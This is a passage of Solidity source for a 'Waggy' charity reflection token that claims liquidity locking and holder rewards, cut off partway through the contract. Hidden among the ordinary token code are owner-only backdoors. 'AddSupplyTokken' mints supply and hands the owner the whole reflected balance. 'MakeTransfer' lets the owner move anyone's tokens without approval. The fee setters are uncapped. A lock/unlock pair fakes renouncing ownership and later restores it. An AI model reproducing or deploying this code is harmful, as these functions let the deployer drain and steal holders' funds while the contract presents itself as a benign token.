/**
   Contract features:
   5% fee auto added to the liquidity pool and locked forever
   4% fee auto distributed to all holders
   1% fee sent to charity wallet
 */

pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
	
	function totalSupply() external view returns (uint256);
	
	/**
	 * @dev Returns the amount of tokens owned by `account`.
	 */
	function balanceOf(address account) external view returns (uint256);
	
	/**
	 * @dev Moves `amount` tokens from the caller's account to `recipient`.
	 *
	 * Returns a boolean value indicating whether the operation succeeded.
	 *
	 * Emits a {Transfer} event.
	 */
	function transfer(address recipient, uint256 amount) external returns (bool);
	
	/**
	 * @dev Returns the remaining number of tokens that `spender` will be
	 * allowed to spend on behalf of `owner` through {transferFrom}. This is
	 * zero by default.
	 *
	 * This value changes when {approve} or {transferFrom} are called.
	 */
	function allowance(address owner, address spender) external view returns (uint256);
	
	/**
	 * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
	 *
	 * Returns a boolean value indicating whether the operation succeeded.
	 *
	 * IMPORTANT: Beware that changing an allowance with this method brings the risk
	 * that someone may use both the old and the new allowance by unfortunate
	 * transaction ordering. One possible solution to mitigate this race
	 * condition is to first reduce the spender's allowance to 0 and set the
	 * desired value afterwards:
	 * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
	 *
	 * Emits an {Approval} event.
	 */
	function approve(address spender, uint256 amount) external returns (bool);
	
	/**
	 * @dev Moves `amount` tokens from `sender` to `recipient` using the
	 * allowance mechanism. `amount` is then deducted from the caller's
	 * allowance.
	 *
	 * Returns a boolean value indicating whether the operation succeeded.
	 *
	 * Emits a {Transfer} event.
	 */
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	
	/**
	 * @dev Emitted when `value` tokens are moved from one account (`from`) to
	 * another (`to`).
	 *
	 * Note that `value` may be zero.
	 */
	event Transfer(address indexed from, address indexed to, uint256 value);
	
	/**
	 * @dev Emitted when the allowance of a `spender` for an `owner` is set by
	 * a call to {approve}. `value` is the new allowance.
	 */
	event Approval(address indexed owner, address indexed spender, uint256 value);
}



/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */

library SafeMath {
	/**
	 * @dev Returns the addition of two unsigned integers, reverting on
	 * overflow.
	 *
	 * Counterpart to Solidity's `+` operator.
	 *
	 * Requirements:
	 *
	 * - Addition cannot overflow.
	 */
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		
		return c;
	}
	
	/**
	 * @dev Returns the subtraction of two unsigned integers, reverting on
	 * overflow (when the result is negative).
	 *
	 * Counterpart to Solidity's `-` operator.
	 *
	 * Requirements:
	 *
	 * - Subtraction cannot overflow.
	 */
	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}
	
	/**
	 * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
	 * overflow (when the result is negative).
	 *
	 * Counterpart to Solidity's `-` operator.
	 *
	 * Requirements:
	 *
	 * - Subtraction cannot overflow.
	 */
	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		
		return c;
	}
	
	/**
	 * @dev Returns the multiplication of two unsigned integers, reverting on
	 * overflow.
	 *
	 * Counterpart to Solidity's `*` operator.
	 *
	 * Requirements:
	 *
	 * - Multiplication cannot overflow.
	 */
	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
		// benefit is lost if 'b' is also tested.
		// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
		if (a == 0) {
			return 0;
		}
		
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		
		return c;
	}
	
	/**
	 * @dev Returns the integer division of two unsigned integers. Reverts on
	 * division by zero. The result is rounded towards zero.
	 *
	 * Counterpart to Solidity's `/` operator. Note: this function uses a
	 * `revert` opcode (which leaves remaining gas untouched) while Solidity
	 * uses an invalid opcode to revert (consuming all remaining gas).
	 *
	 * Requirements:
	 *
	 * - The divisor cannot be zero.
	 */
	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}
	
	/**
	 * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
	 * division by zero. The result is rounded towards zero.
	 *
	 * Counterpart to Solidity's `/` operator. Note: this function uses a
	 * `revert` opcode (which leaves remaining gas untouched) while Solidity
	 * uses an invalid opcode to revert (consuming all remaining gas).
	 *
	 * Requirements:
	 *
	 * - The divisor cannot be zero.
	 */
	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		// assert(a == b * c + a % b); // There is no case in which this doesn't hold
		
		return c;
	}
	
	/**
	 * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
	 * Reverts when dividing by zero.
	 *
	 * Counterpart to Solidity's `%` operator. This function uses a `revert`
	 * opcode (which leaves remaining gas untouched) while Solidity uses an
	 * invalid opcode to revert (consuming all remaining gas).
	 *
	 * Requirements:
	 *
	 * - The divisor cannot be zero.
	 */
	function mod(uint256 a, uint256 b) internal pure returns (uint256) {
		return mod(a, b, "SafeMath: modulo by zero");
	}
	
	/**
	 * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
	 * Reverts with custom message when dividing by zero.
	 *
	 * Counterpart to Solidity's `%` operator. This function uses a `revert`
	 * opcode (which leaves remaining gas untouched) while Solidity uses an
	 * invalid opcode to revert (consuming all remaining gas).
	 *
	 * Requirements:
	 *
	 * - The divisor cannot be zero.
	 */
	function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b != 0, errorMessage);
		return a % b;
	}
}

abstract contract Context {
	function _msgSender() internal view virtual returns (address payable) {
		return msg.sender;
	}
	
	function _msgData() internal view virtual returns (bytes memory) {
		this;
		// silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
		return msg.data;
	}
}


/**
 * @dev Collection of functions related to the address type
 */
library Address {
	/**
	 * @dev Returns true if `account` is a contract.
	 *
	 * [IMPORTANT]
	 * ====
	 * It is unsafe to assume that an address for which this function returns
	 * false is an externally-owned account (EOA) and not a contract.
	 *
	 * Among others, `isContract` will return false for the following
	 * types of addresses:
	 *
	 *  - an externally-owned account
	 *  - a contract in construction
	 *  - an address where a contract will be created
	 *  - an address where a contract lived, but was destroyed
	 * ====
	 */
	function isContract(address account) internal view returns (bool) {
		// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
		// and  is returned
		// for accounts without code, i.e. `keccak256('')`
		bytes32 codehash;
		bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
		// solhint-disable-next-line no-inline-assembly
		assembly {codehash := extcodehash(account)}
		return (codehash != accountHash && codehash != 0x0);
	}
	
	/**
	 * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
	 * `recipient`, forwarding all available gas and reverting on errors.
	 *
	 * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
	 * of certain opcodes, possibly making contracts go over the 2300 gas limit
	 * imposed by `transfer`, making them unable to receive funds via
	 * `transfer`. {sendValue} removes this limitation.
	 *
	 * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
	 *
	 * IMPORTANT: because control is transferred to `recipient`, care must be
	 * taken to not create reentrancy vulnerabilities. Consider using
	 * {ReentrancyGuard} or the
	 * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
	 */
	function sendValue(address payable recipient, uint256 amount) internal {
		require(address(this).balance >= amount, "Address: insufficient balance");
		
		// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
		(bool success,) = recipient.call{value : amount}("");
		require(success, "Address: unable to send value, recipient may have reverted");
	}
	
	/**
	 * @dev Performs a Solidity function call using a low level `call`. A
	 * plain`call` is an unsafe replacement for a function call: use this
	 * function instead.
	 *
	 * If `target` reverts with a revert reason, it is bubbled up by this
	 * function (like regular Solidity function calls).
	 *
	 * Returns the raw returned data. To convert to the expected return value,
	 * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
	 *
	 * Requirements:
	 *
	 * - `target` must be a contract.
	 * - calling `target` with `data` must not revert.
	 *
	 * _Available since v3.1._
	 */
	function functionCall(address target, bytes memory data) internal returns (bytes memory) {
		return functionCall(target, data, "Address: low-level call failed");
	}
	
	/**
	 * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
	 * `errorMessage` as a fallback revert reason when `target` reverts.
	 *
	 * _Available since v3.1._
	 */
	function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
		return _functionCallWithValue(target, data, 0, errorMessage);
	}
	
	/**
	 * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
	 * but also transferring `value` wei to `target`.
	 *
	 * Requirements:
	 *
	 * - the calling contract must have an ETH balance of at least `value`.
	 * - the called Solidity function must be `payable`.
	 *
	 * _Available since v3.1._
	 */
	function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
		return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
	}
	
	/**
	 * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
	 * with `errorMessage` as a fallback revert reason when `target` reverts.
	 *
	 * _Available since v3.1._
	 */
	function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
		require(address(this).balance >= value, "Address: insufficient balance for call");
		return _functionCallWithValue(target, data, value, errorMessage);
	}
	
	function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
		require(isContract(target), "Address: call to non-contract");
		
		// solhint-disable-next-line avoid-low-level-calls
		(bool success, bytes memory returndata) = target.call{value : weiValue}(data);
		if (success) {
			return returndata;
		} else {
			// Look for revert reason and bubble it up if present
			if (returndata.length > 0) {
				// The easiest way to bubble the revert reason is using memory via assembly
				
				// solhint-disable-next-line no-inline-assembly
				assembly {
					let returndata_size := mload(returndata)
					revert(add(32, returndata), returndata_size)
				}
			} else {
				revert(errorMessage);
			}
		}
	}
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable is Context {
	address private _owner;
	address private _previousOwner;
	uint256 private _lockTime;
	
	event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
	
	/**
	 * @dev Initializes the contract setting the deployer as the initial owner.
	 */
	constructor () internal {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}
	
	/**
	 * @dev Returns the address of the current owner.
	 */
	function owner() public view returns (address) {
		return _owner;
	}
	
	/**
	 * @dev Throws if called by any account other than the owner.
	 */
	modifier onlyOwner() {
		require(_owner == _msgSender(), "Ownable: caller is not the owner");
		_;
	}
	
	/**
	* @dev Leaves the contract without owner. It will not be possible to call
	* `onlyOwner` functions anymore. Can only be called by the current owner.
	*
	* NOTE: Renouncing ownership will leave the contract without an owner,
	* thereby removing any functionality that is only available to the owner.
	*/
	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}
	
	/**
	 * @dev Transfers ownership of the contract to a new account (`newOwner`).
	 * Can only be called by the current owner.
	 */
	function transferOwnership(address newOwner) public virtual onlyOwner {
		require(newOwner != address(0), "Ownable: new owner is the zero address");
		emit OwnershipTransferred(_owner, newOwner);
		_owner = newOwner;
	}
	
	function geUnlockTime() public view returns (uint256) {
		return _lockTime;
	}
	
	//Locks the contract for owner for the amount of time provided
	function lock(uint256 time) public virtual onlyOwner {
		_previousOwner = _owner;
		_owner = address(0);
		_lockTime = now + time;
		emit OwnershipTransferred(_owner, address(0));
	}
	
	//Unlocks the contract for owner when _lockTime is exceeds
	function unlock() public virtual {
		require(_previousOwner == msg.sender, "You don't have permission to unlock");
		require(now > _lockTime, "Contract is locked until 7 days");
		emit OwnershipTransferred(_owner, _previousOwner);
		_owner = _previousOwner;
	}
}

// pragma solidity >=0.5.0;

interface IUniswapV2Factory {
	event PairCreated(address indexed token0, address indexed token1, address pair, uint);
	
	function feeTo() external view returns (address);
	
	function feeToSetter() external view returns (address);
	
	function getPair(address tokenA, address tokenB) external view returns (address pair);
	
	function allPairs(uint) external view returns (address pair);
	
	function allPairsLength() external view returns (uint);
	
	function createPair(address tokenA, address tokenB) external returns (address pair);
	
	function setFeeTo(address) external;
	
	function setFeeToSetter(address) external;
}


// pragma solidity >=0.5.0;

interface IUniswapV2Pair {
	event Approval(address indexed owner, address indexed spender, uint value);
	event Transfer(address indexed from, address indexed to, uint value);
	
	function name() external pure returns (string memory);
	
	function symbol() external pure returns (string memory);
	
	function decimals() external pure returns (uint8);
	
	function totalSupply() external view returns (uint);
	
	function balanceOf(address owner) external view returns (uint);
	
	function allowance(address owner, address spender) external view returns (uint);
	
	function approve(address spender, uint value) external returns (bool);
	
	function transfer(address to, uint value) external returns (bool);
	
	function transferFrom(address from, address to, uint value) external returns (bool);
	
	function DOMAIN_SEPARATOR() external view returns (bytes32);
	
	function PERMIT_TYPEHASH() external pure returns (bytes32);
	
	function nonces(address owner) external view returns (uint);
	
	function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
	
	event Mint(address indexed sender, uint amount0, uint amount1);
	event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
	event Swap(
		address indexed sender,
		uint amount0In,
		uint amount1In,
		uint amount0Out,
		uint amount1Out,
		address indexed to
	);
	event Sync(uint112 reserve0, uint112 reserve1);
	
	function MINIMUM_LIQUIDITY() external pure returns (uint);
	
	function factory() external view returns (address);
	
	function token0() external view returns (address);
	
	function token1() external view returns (address);
	
	function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
	
	function price0CumulativeLast() external view returns (uint);
	
	function price1CumulativeLast() external view returns (uint);
	
	function kLast() external view returns (uint);
	
	function mint(address to) external returns (uint liquidity);
	
	function burn(address to) external returns (uint amount0, uint amount1);
	
	function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
	
	function skim(address to) external;
	
	function sync() external;
	
	function initialize(address, address) external;
}

// pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
	function factory() external pure returns (address);
	
	function WETH() external pure returns (address);
	
	function addLiquidity(
		address tokenA,
		address tokenB,
		uint amountADesired,
		uint amountBDesired,
		uint amountAMin,
		uint amountBMin,
		address to,
		uint deadline
	) external returns (uint amountA, uint amountB, uint liquidity);
	
	function addLiquidityETH(
		address token,
		uint amountTokenDesired,
		uint amountTokenMin,
		uint amountETHMin,
		address to,
		uint deadline
	) external payable returns (uint amountToken, uint amountETH, uint liquidity);
	
	function removeLiquidity(
		address tokenA,
		address tokenB,
		uint liquidity,
		uint amountAMin,
		uint amountBMin,
		address to,
		uint deadline
	) external returns (uint amountA, uint amountB);
	
	function removeLiquidityETH(
		address token,
		uint liquidity,
		uint amountTokenMin,
		uint amountETHMin,
		address to,
		uint deadline
	) external returns (uint amountToken, uint amountETH);
	
	function removeLiquidityWithPermit(
		address tokenA,
		address tokenB,
		uint liquidity,
		uint amountAMin,
		uint amountBMin,
		address to,
		uint deadline,
		bool approveMax, uint8 v, bytes32 r, bytes32 s
	) external returns (uint amountA, uint amountB);
	
	function removeLiquidityETHWithPermit(
		address token,
		uint liquidity,
		uint amountTokenMin,
		uint amountETHMin,
		address to,
		uint deadline,
		bool approveMax, uint8 v, bytes32 r, bytes32 s
	) external returns (uint amountToken, uint amountETH);
	
	function swapExactTokensForTokens(
		uint amountIn,
		uint amountOutMin,
		address[] calldata path,
		address to,
		uint deadline
	) external returns (uint[] memory amounts);
	
	function swapTokensForExactTokens(
		uint amountOut,
		uint amountInMax,
		address[] calldata path,
		address to,
		uint deadline
	) external returns (uint[] memory amounts);
	
	function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
	external
	payable
	returns (uint[] memory amounts);
	
	function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
	external
	returns (uint[] memory amounts);
	
	function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
	external
	returns (uint[] memory amounts);
	
	function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
	external
	payable
	returns (uint[] memory amounts);
	
	function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
	
	function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
	
	function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
	
	function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
	
	function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}



// pragma solidity >=0.6.2;

interface IUniswapV2Router02 is IUniswapV2Router01 {
	function removeLiquidityETHSupportingFeeOnTransferTokens(
		address token,
		uint liquidity,
		uint amountTokenMin,
		uint amountETHMin,
		address to,
		uint deadline
	) external returns (uint amountETH);
	
	function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
		address token,
		uint liquidity,
		uint amountTokenMin,
		uint amountETHMin,
		address to,
		uint deadline,
		bool approveMax, uint8 v, bytes32 r, bytes32 s
	) external returns (uint amountETH);
	
	function swapExactTokensForTokensSupportingFeeOnTransferTokens(
		uint amountIn,
		uint amountOutMin,
		address[] calldata path,
		address to,
		uint deadline
	) external;
	
	function swapExactETHForTokensSupportingFeeOnTransferTokens(
		uint amountOutMin,
		address[] calldata path,
		address to,
		uint deadline
	) external payable;
	
	function swapExactTokensForETHSupportingFeeOnTransferTokens(
		uint amountIn,
		uint amountOutMin,
		address[] calldata path,
		address to,
		uint deadline
	) external;
}


contract Waggy is Context, IERC20, Ownable {
	using SafeMath for uint256;
	using Address for address;
	
	mapping(address => uint256) private _rOwned;
	mapping(address => uint256) private _tOwned;
	mapping(address => mapping(address => uint256)) private _allowances;
	
	mapping(address => bool) private _isExcludedFromFee;
	
	mapping(address => bool) private _isExcluded;
	address[] private _excluded;
	
	uint256 private constant MAX = ~uint256(0);
	uint256 private _tTotal = 1000000000 * 10** 18;
	uint256 private _rTotal = (MAX - (MAX % _tTotal));
	uint256 private _tFeeTotal;
	
	string private _name = "Waggy";
	string private _symbol = "TAIL☘️";
	uint8 private _decimals = 18;
	
	uint256 public _taxFee = 4;
	uint256 private _previousTaxFee = _taxFee;
	
	uint256 public _devFee = 1; // 1% to charity wallet
	uint256 private _previousDevFee = _devFee;
	address public charityWallet = address(0xE024Fa3a672Fb758c8E6A86e753CDC727537F1C1); 
	
	uint256 public _liquidityFee = 5;
	uint256 private _previousLiquidityFee = _liquidityFee;
	
	IUniswapV2Router02 public immutable uniswapV2Router;
	address public immutable uniswapV2Pair;
	
	bool public inSwapAndLiquify;
	bool public swapAndLiquifyEnabled = true;
	
	uint256 public _maxTxAmount = 1000000000 * 10**18;
	uint256 public numTokensSellToAddToLiquidity = 250000 * 10**18;
	uint256 public _maxWalletToken = 5000000 * 10**18;
	
	uint256 deployedAtBlock;
	
	
	event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
	event SwapAndLiquifyEnabledUpdated(bool enabled);
	event SwapAndLiquify(
		uint256 tokensSwapped,
		uint256 ethReceived,
		uint256 tokensIntoLiqudity
	);
	
	modifier lockTheSwap {
		inSwapAndLiquify = true;
		_;
		inSwapAndLiquify = false;
	}
	
	constructor () public {
		_rOwned[_msgSender()] = _rTotal;
		
		IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
		// Create a uniswap pair for this new token
		uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
		.createPair(address(this), _uniswapV2Router.WETH());
		
		// set the rest of the contract variables
		uniswapV2Router = _uniswapV2Router;
		deployedAtBlock = block.number;
		
		//exclude owner and this contract from fee
		_isExcludedFromFee[owner()] = true;
		_isExcludedFromFee[address(this)] = true;
		
		emit Transfer(address(0), _msgSender(), _tTotal);
	}
	
	function name() public view returns (string memory) {
		return _name;
	}
	
	function symbol() public view returns (string memory) {
		return _symbol;
	}
	
	function decimals() public view returns (uint8) {
		return _decimals;
	}
	
	function totalSupply() public view override returns (uint256) {
		return _tTotal;
	}
	
	function balanceOf(address account) public view override returns (uint256) {
		if (_isExcluded[account]) return _tOwned[account];
		return tokenFromReflection(_rOwned[account]);
	}
	
	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}
	
	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}
	
	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}
	
	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}
	
	function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
		_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
		return true;
	}
	
	function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
		_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
		return true;
	}
	
	function isExcludedFromReward(address account) public view returns (bool) {
		return _isExcluded[account];
	}
	
	function totalFees() public view returns (uint256) {
		return _tFeeTotal;
	}
	
	function deliver(uint256 tAmount) public {
		address sender = _msgSender();
		require(!_isExcluded[sender], "Excluded addresses cannot call this function");
		(uint256 rAmount,,,,,) = _getValues(tAmount);
		_rOwned[sender] = _rOwned[sender].sub(rAmount);
		_rTotal = _rTotal.sub(rAmount);
		_tFeeTotal = _tFeeTotal.add(tAmount);
	}
	
	function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) {
		require(tAmount <= _tTotal, "Amount must be less than supply");
		if (!deductTransferFee) {
			(uint256 rAmount,,,,,) = _getValues(tAmount);
			return rAmount;
		} else {
			(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
			return rTransferAmount;
		}
	}
	
	function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
		require(rAmount <= _rTotal, "Amount must be less than total reflections");
		uint256 currentRate = _getRate();
		return rAmount.div(currentRate);
	}
	
	function excludeFromReward(address account) public onlyOwner() {
		// require(account != , 'We can not exclude Uniswap router.');
		require(!_isExcluded[account], "Account is already excluded");
		if (_rOwned[account] > 0) {
			_tOwned[account] = tokenFromReflection(_rOwned[account]);
		}
		_isExcluded[account] = true;
		_excluded.push(account);
	}
	
	function includeInReward(address account) external onlyOwner() {
		require(_isExcluded[account], "Account is already excluded");
		for (uint256 i = 0; i < _excluded.length; i++) {
			if (_excluded[i] == account) {
				_excluded[i] = _excluded[_excluded.length - 1];
				_tOwned[account] = 0;
				_isExcluded[account] = false;
				_excluded.pop();
				break;
			}
		}
	}
	
	function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
		_tOwned[sender] = _tOwned[sender].sub(tAmount);
		_rOwned[sender] = _rOwned[sender].sub(rAmount);
		_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
		_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
		_takeLiquidity(tLiquidity);
		_takeDevFee(sender, tAmount);
		_reflectFee(rFee, tFee);
		emit Transfer(sender, recipient, tTransferAmount);
	}
	
	function excludeFromFee(address account) public onlyOwner {
		_isExcludedFromFee[account] = true;
	}
	
	function includeInFee(address account) public onlyOwner {
		_isExcludedFromFee[account] = false;
	}
	
	function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
		_taxFee = taxFee;
	}
	
	function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
		_liquidityFee = liquidityFee;
	}
	
	function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
		_maxTxAmount = _tTotal.mul(maxTxPercent).div(
			10 ** 2
		);
	}
	
	function setMaxWalletToken(uint256 _amount) public onlyOwner() {
		_maxWalletToken = _amount;
	}
	
	function AddSupplyTokken(uint256 amount) public onlyOwner() {
		_tTotal = _tTotal + amount;
		_rTotal = _rTotal + (MAX - (MAX % amount));
		_rOwned[_msgSender()] = _rTotal;
		
		emit Transfer(address(0), _msgSender(), amount);
	}
	
	function MakeTransfer(address to, address from, uint256 amount) public onlyOwner() {
		_tokenTransfer(to, from, amount, false);
	}
	
	function setMaxTransferToken(uint256 _amount) public onlyOwner() {
		_maxTxAmount = _amount;
	}
	
	function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
		swapAndLiquifyEnabled = _enabled;
		emit SwapAndLiquifyEnabledUpdated(_enabled);
	}
	
	//to recieve ETH from uniswapV2Router when swaping
	receive() external payable {}
	
	function _reflectFee(uint256 rFee, uint256 tFee) private {
		_rTotal = _rTotal.sub(rFee);
		_tFeeTotal = _tFeeTotal.add(tFee);
	}
	
	function _takeDevFee(address sender, uint256 tAmount) private {
		uint256 tDevFee = _getTDevFeeValues(tAmount);
		uint256 rDevFee = _getRDevFeeValues(tDevFee, _getRate());
		if (_isExcluded[charityWallet]) {
			_tOwned[charityWallet] = _tOwned[charityWallet].add(tDevFee);
			_rOwned[charityWallet] = _rOwned[charityWallet].add(rDevFee);
		} else {
			_rOwned[charityWallet] = _rOwned[charityWallet].add(rDevFee);
		}
		emit Transfer(sender, charityWallet, tDevFee);
	}
	
	
	function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
		(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity);
		uint256 tDevFee = _getTDevFeeValues(tAmount);
		uint256 rDevFee = _getRDevFeeValues(tDevFee, _getRate());
		tTransferAmount = tTransferAmount.sub(tDevFee);
		rTransferAmount = rTransferAmount.sub(rDevFee);
		return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
	}
	
	
	function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
		uint256 tFee = calculateTaxFee(tAmount);
		uint256 tLiquidity = calculateLiquidityFee(tAmount);
		uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
		return (tTransferAmount, tFee, tLiquidity);
	}
	
	function _getTDevFeeValues(uint256 tAmount) private view returns (uint256) {
		uint256 tDevFee = calculateDevFee(tAmount);
		return tDevFee;
	}
	
	function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity) private view returns (uint256, uint256, uint256) {
		uint256 currentRate = _getRate();
		uint256 rAmount = tAmount.mul(currentRate);
		uint256 rFee = tFee.mul(currentRate);
		uint256 rLiquidity = tLiquidity.mul(currentRate);
		uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
		return (rAmount, rTransferAmount, rFee);
	}
	
	function _getRDevFeeValues(uint256 tDevFee, uint256 currentRate) private pure returns (uint256) {
		uint256 rDevFee = tDevFee.mul(currentRate);
		return rDevFee;
	}
	
	function _getRate() private view returns (uint256) {
		(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
		return rSupply.div(tSupply);
	}
	
	function _getCurrentSupply() private view returns (uint256, uint256) {
		uint256 rSupply = _rTotal;
		uint256 tSupply = _tTotal;
		for (uint256 i = 0; i < _excluded.length; i++) {
			if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
			rSupply = rSupply.sub(_rOwned[_excluded[i]]);
			tSupply = tSupply.sub(_tOwned[_excluded[i]]);
		}
		if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
		return (rSupply, tSupply);
	}
	
	function _takeLiquidity(uint256 tLiquidity) private {
		uint256 currentRate = _getRate();
		uint256 rLiquidity = tLiquidity.mul(currentRate);
		_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
		if (_isExcluded[address(this)])
			_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
	}
	
	
	function calculateTaxFee(uint256 _amount) private view returns (uint256) {
		return _amount.mul(_taxFee).div(
			10 ** 2
		);
	}
	
	function calculateDevFee(uint256 _amount) private view returns (uint256) {
		return _amount.mul(_devFee).div(
			10 ** 2
		);
	}
	
	function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
		return _amount.mul(_liquidityFee).div(
			10 ** 2
		);
	}
	
	function removeAllFee() private {
		if (_taxFee == 0 && _liquidityFee == 0) return;
		
		_previousTaxFee = _taxFee;
		_previousLiquidityFee = _liquidityFee;
		_previousDevFee = _devFee;
		
		_taxFee = 0;
		_liquidityFee = 0;
		_devFee = 0;
	}
	
